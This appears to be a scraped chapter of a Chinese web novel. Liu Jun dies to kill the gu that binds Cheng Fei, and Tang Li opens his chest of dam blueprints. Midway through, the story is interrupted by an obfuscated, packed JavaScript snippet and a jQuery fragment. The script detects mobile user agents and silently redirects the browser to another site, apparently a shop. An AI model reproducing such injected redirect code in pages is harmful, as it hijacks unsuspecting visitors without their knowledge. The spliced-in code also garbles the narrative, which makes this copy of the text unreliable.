柳君突然问出这样一个问题,唐梨怔了怔。
“别多想。”唐梨这样回答。
柳君露出一丝惨笑。
“我中子母蛊之后也曾细细查过,母蛊若死去,子蛊活不过一年。”柳君这样说着,脸上的笑容竟然有种淋漓尽致的快意,他淡淡说道,“如果我死了,丞非必死。”
“你别瞎想,老老实实活着!我还需要你帮忙呢!”唐梨赶忙劝解道。
柳君惨笑着摇了摇头,他看了唐梨,又看了看柳相说:“谢谢你,也谢谢柳阁主。这么多年来,是我误会他了。”
说罢,他便深吸一口气,发出了一声怒吼。
“丞非,你听着!此生我杀人无数,罪孽深重,死有余辜!但若我下地狱,也要拖着你丞非一起!”
“你别冲动!”柳相红了眼圈,“我还没有报答你的恩情!”
“你们真的没有必要保护我,杀了我,一切便都结束了。”
他掂了掂手中的剑,眼都不眨地挥动它,利刃穿胸而过。
血一下子喷涌了出来。
柳君突然按住胸口,片刻之后便呕出了一只蛊虫。那只母蛊在地上挣扎爬行着,看上去十分恐怖。
“柳伏!”柳相这样喊道。
柳福冲上前,持刀将那只蛊虫杀死。
唐梨则接住了柳君往后倒下的身体。
“城主!”
“城主!”
柳易和不了冲到柳君身边,柳易怔怔地抚上柳君渐渐失去血色的脸,不了则干脆哭了起来。
“我的霜、霜儿……她被埋在小山坡上……丞非知道她埋在哪里……”柳君吐着血,他握紧唐梨的手说,“你把她挖出来好不好?”
“我一定会把你们好好安葬的!”唐梨猛地哭了出来,她颤抖着搂住了柳君,握住了他的手。
柳君轻轻地摇了摇头。
“不,我、我们不配……”柳君口中吐出一口血沫,带着灿烂的笑容说道,“等大、大坝建成了,就把我、我和霜儿一起埋在大坝底下吧……以后千秋万代,让河水来洗刷我们的罪恶……我、我和她,会千千万万年守护着我们的孩子……好、好吗?”
唐梨睁大眼睛,过了许久,她才慢慢的点了点头。
柳相踉跄着走过来,扶住柳君的身体,泪水从他的脸上落了下来。
“谢谢、谢谢你们。”柳君露出人生中最后一个笑容,看着他们说,“我、我知道,你们一定会帮我做到的……”
“还、还有你们……”柳君看了看柳易和不了,“你们一定要好、好好的活着……”
他慢慢的闭上了眼睛。
……
月光依旧还是那么美。
丞非突然感觉心口一阵疼痛,一时间他不知道自己是痛还是悲伤,或者是感知到了自己的末日。
他不知道,但他知道一件事,他可能已经永远的失去了柳君。
他猛的吐了一口血,将蛊虫呕了出来。
子蛊在地上爬了几步,便化成一阵灰消失了。
“阿君!”
丞非撕心裂肺的喊着,泪水从他脸上落了下来。
他木然的拂去自己眼角的泪水,十几年了,他和柳君之间的关系究竟是怎样的?就连他自己也不知道。
纵然母蛊始终在沉睡,却也难以控制的影响着他。他只有看到母蛊沉睡才安心,却也总是控制不住的去接近柳君。子蛊对母蛊的依赖已经刻在他的骨子里,让他无法摆脱。
就像此时此刻,柳君死了,那他的死期也近了。
他爱柳君吗,他不知道。
但他只剩一条路了,一年之内,倘若不能实现,那等待他的——将是必死的结局。
他绝不会让柳君得逞,他会一直活在这世上!
丞非相信自己,他一定会活下去的。
……
“子蛊破体后丞非只剩半年的寿命,他一定不会善罢甘休。”唐梨抹去眼角的泪水说,“那家伙可不是等死的性格。”
“我想不到他还能做什么。”柳相的语气中带着恨意,“我要去为水灿灵和柳君报仇!”
柳易搂着柳君逐渐冰冷的尸体,他的眼神中满是悲痛,唐梨从他的眸子里看到了深深的爱意,或许此刻他的眼神,是柳君从来没有机会看到过的。
又或许柳君知道柳易的心意,但那又怎样呢?
不了抹去眼角的泪水,站起身,冲着唐梨行礼道:“宗主,我们城主藏起的那个宝箱,我知道它在哪儿,请您跟我来。”
对了,宝箱,那是柳君的托付。
不了带领着大家一路走到他们第二次进行赌约的那个房间。
“哎,这是我上次跟柳易一起掷骰子的地方。”常欢马上认了出来。
“宝箱在哪?”
“在这里。”不了看向那个水池说,“我们城主说,那个宝箱就在水池里,但他没告诉我该怎么打开它。”
唐梨走了过去。
她从怀里掏出了那根烟杆,静静的看了它好久好久。
就在一天前,这根烟杆仍然在它主人的手上。那双美丽的手就这样握紧纤细的烟杆,那么美,那么温柔。
他将烟杆递到唐梨手中的时候,眼神是那么执着。唐梨明白,这是他最后的牵挂。
柳君要托付的东西——就在这个水池中央。
唐梨看看那个水池,回忆着自己当初跳到水池中的感受,水温暖极了,就这样在她身边流淌。
等等,流淌?
唐梨拿着烟杆,便走到了水池中。
“宗主……”飞鹰叫了一声,唐梨做了手势,大家便全都安静下来,
唐梨感知着水流的方向,摸索着将烟杆烟嘴的那端插进水池边的一个槽口内。
只见水池咕噜噜的发出轻微的响声,在水池中间,一个石台慢慢升起。当石台完全升到水面上方之后,便咔的一声轻响,分成了两半。
而宝箱正躺在石台中央。
唐梨伸手摸了摸,发现宝箱还是干的,一点水都没有沾到,看来柳君为了保护这个宝箱付出了很大的努力。
“蒋开山!”唐梨回头吩咐道,“把这个宝箱搬到干净的地方。”
蒋开山和飞鹰一起将宝箱搬到干净的地方,冬儿和不了一起将宝箱擦的干干净净。
唐梨将烟斗一侧插入了宝箱的钥匙孔,宝箱便被打开了。
“这是什么?”唐梨看着箱内,不由得有些吃惊。
这满满一箱,竟然装满了图纸。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258896|189978||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“这,是河坝的图纸!”水芙蓉看了一眼说道,“是水坝的设计图!”
水坝?是的,当然是!
唐梨、柳相等人简单翻看了一下,
宝箱里装着的是一整套水坝工程图纸,包括了多座水坝、运河、水渠、无坝引水、桥梁和水库的设计,而且图纸还有两份备份,可谓思虑周到。
“这才是真正的无价之宝!若真的能修建成功,确实能够千秋万代,只可惜……”
柳相叹息着摇头。
“可惜什么?”唐梨不解。
唐梨翻开图纸,脸上难掩兴奋。柳君刚死,心中总是有些悲伤的,但她看着面前那些图纸却又是感动又是喜悦。她明白,如果能够将水坝建成,确实是一项很大的功绩。
“要修建成功需要大笔的金钱,一时间很难做到。”柳相叹了口气说,“幸亏我们足够能活。五十年,一百年,迟早能慢慢完成的。”
“要花费这么长时间吗?”唐梨有些吃惊,“用云密和青云宝库里的金子还不够吗?”
“不够,远远不够!除非能够打开东岛宝库,但那不可能……”柳相小心地将箱子关上,叹息道,“如果有足够的钱,恐怕会好办很多。但你要明白,这是一项大工程,一时半会很难完成它。不过你放心,我们可以一起慢慢来。”
唐梨点了点头。
柳君的死讯传了出去,满城缟素,唐梨和柳相送他最后一程。岩城的百姓们一边哭一边祭奠,有人甚至身着孝衣跪在路边,为他流下伤心的泪水。
满城的百姓便是柳君最后的牵挂,这份牵挂也是他应得的。
“他既然留下遗言说要埋在水坝之下,那我会好好将他的遗体封存。除此之外,我会给他立一座碑,做一个衣冠冢,这样我们都能记得他。”柳相红着眼圈说,“他是我的恩人。他是一个好人。”
“如果他听到你这样说,他一定会感到很欣慰。”唐梨也红了眼圈。
“柳易。”柳相转头看向身后的柳易。
柳易抬起头,他的脸颊通红,依然落着泪,看上去有些憔悴。
“你愿不愿意替他接手这座城市?”柳相看着他问道。
柳易怔了怔,马上跪下。
“我愿意,我愿意替他长留在这里!替他照顾好岩城百姓!”柳易冲着柳相磕了个头,痛哭道,“我会替他做完没做完的一切。”
“好,柳易,从今天起,你便是岩城城主了。”柳易下了阁主令说,“我任命柳易为新任的岩城城主,即刻上任。”
“谢阁主!”
“不了,你要怎么办呢?”唐梨问道,“你是留在这里还是跟我回去?”
“我想留在这里。”不了低头说,“这是他生活过的地方。”
“你也……”
“不!”不了摇摇头说,“大家都这么说,但并不是。他对我而言,是恩人,是恩师,也是我的主人。我不能留柳易一个人在这里,我也想为他做点什么。”
唐梨看出这姑娘眼眸中的那丝眷恋,没有强迫她离开,点了点头说:“好好照顾自己,还有,云密会继续按期给你发月钱的。”
不了笑了笑说:“那就不用了吧?”
“这可不能免!”唐梨笑着揉了揉她的头发。